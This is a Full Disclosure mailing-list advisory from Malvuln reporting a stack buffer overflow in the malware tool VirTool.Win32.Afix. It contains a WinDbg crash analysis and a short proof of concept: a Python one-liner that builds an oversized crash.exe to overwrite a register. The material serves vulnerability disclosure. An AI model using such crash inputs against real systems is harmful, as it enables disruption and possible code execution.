Date: Mon, 12 Jul 2021 22:24:08 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] VirTool.Win32.Afix / Local Stack Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/35100db8750364871fe70ef6de4833f7.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: VirTool.Win32.Afix
Vulnerability: Local Stack Buffer Overflow
Description: VirTool.Win32.Afix By Zimenkov doesn't properly validate the
files it opens. Therefore, opening a specially crafted (EXE) file triggers
a stack buffer overflow overwriting EAX register. EAX register typically
stores return values from functions. This can allow an attacker to control
program execution flow resulting in arbitrary code execution.
Type: PE32
MD5: 35100db8750364871fe70ef6de4833f7
Vuln ID: MVID-2021-0291
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/12/2021

Memory Dump:
(e30.1004): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=562c45f2 edx=00000001 esi=00000003
edi=00000003
eip=77dded3c esp=005fefdc ebp=005ff16c iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00200202
ntdll!ZwWaitForMultipleObjects+0xc:
77dded3c c21400          ret     14h

0:000> .ecxr
eax=41414141 ebx=00000001 ecx=562c45f2 edx=00000001 esi=00130538
edi=004010a0
eip=00401259 esp=005ff91c ebp=43da2d19 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00210202
*** ERROR: Module load completed but symbols could not be loaded for
VirTool.Win32.Afix.35100db8750364871fe70ef6de4833f7.exe
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x1259:
00401259 8b4528          mov     eax,dword ptr [ebp+28h]
ss:002b:43da2d41=????????

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+1259
00401259 8b4528          mov     eax,dword ptr [ebp+28h]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00401259
(VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x00001259)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 43da2d41
Attempt to read from address 43da2d41

PROCESS_NAME:  VirTool.Win32.Afix.35100db8750364871fe70ef6de4833f7.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  43da2d41

READ_ADDRESS:  43da2d41

FOLLOWUP_IP:
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+1259
00401259 8b4528          mov     eax,dword ptr [ebp+28h]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00001004

BUGCHECK_STR:
 APPLICATION_FAULT_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:
 INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:
 INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 004014c9 to 00401259

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
005ff938 004014c9 004010a0 00130538 005ff964
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x1259
005ff95c 0040113e 005ff990 770ce0bb 00130538
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x14c9
005ff964 770ce0bb 00130538 00000111 00000196
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x113e
005ff990 770d8849 004010a0 00130538 00000111
user32!_InternalCallWinProc+0x2b
005ff9b4 770dacd3 00000111 00000196 001404b2 user32!InternalCallWinProc+0x20
005ffa38 770bbf65 00130538 00000111 00000196
user32!UserCallDlgProcCheckWow+0x156
005ffa94 770bbe45 02ff7520 00000000 00000111 user32!DefDlgProcWorker+0x115
005ffab4 770ce0bb 00130538 00000111 00000196 user32!DefDlgProcW+0x25
005ffae0 770d8849 77df92b0 00130538 00000111
user32!_InternalCallWinProc+0x2b
005ffb04 770db145 00000111 00000196 001404b2 user32!InternalCallWinProc+0x20
005ffbd4 770da89c 77df92b0 00000000 00000111
user32!UserCallWinProcCheckWow+0x1be
005ffc40 770bb95b 02ff7520 00000000 001404b2 user32!SendMessageWorker+0x6ff
005ffc68 770d5493 00130538 00000111 00000196 user32!SendMessageW+0x5b
005ffc90 770d4dda 03089f30 00000000 00000000
user32!xxxButtonNotifyParent+0x66
005ffcb8 770d4240 028859a8 00000000 03089f30
user32!xxxBNReleaseCapture+0x150
005ffd50 770d36c6 03089f30 00000000 00000202
user32!ButtonWndProcWorker+0xad0
005ffd84 770ce0bb 001404b2 00000202 00000000 user32!ButtonWndProcA+0x56
005ffdb0 770d8849 770d3670 001404b2 00000202
user32!_InternalCallWinProc+0x2b
005ffdd4 770db145 00000202 00000000 00130059 user32!InternalCallWinProc+0x20
005ffea4 770c90dc 19ddfbc0 00007ff9 00000202
user32!UserCallWinProcCheckWow+0x1be
005fff10 770bb2ee 00000000 00402178 00402170
user32!DispatchMessageWorker+0x4ac
005fff40 770bb0cc 00130538 00402170 00402170 user32!IsDialogMessageW+0x17e
005fff6c 00401048 005fff94 0040105c 00130538 user32!IsDialogMessageA+0x13c
005fff94 77dd4a77 002cf000 3e725442 00000000
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x1048
005fffdc 77dd4a47 ffffffff 77df9ea3 00000000 ntdll!__RtlUserThreadStart+0x2f
005fffec 00000000 00401000 002cf000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+1259

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7

IMAGE_NAME:  VirTool.Win32.Afix.35100db8750364871fe70ef6de4833f7.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:
 INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141_c0000005_VirTool.Win32.Afix.35100db8750364871fe70ef6de4833f7.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141_VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+1259


Exploit/PoC:
1) python -c "print('MZ'+'A'*10000)" > crash.exe
2) Open crash.exe in the vulnerable program


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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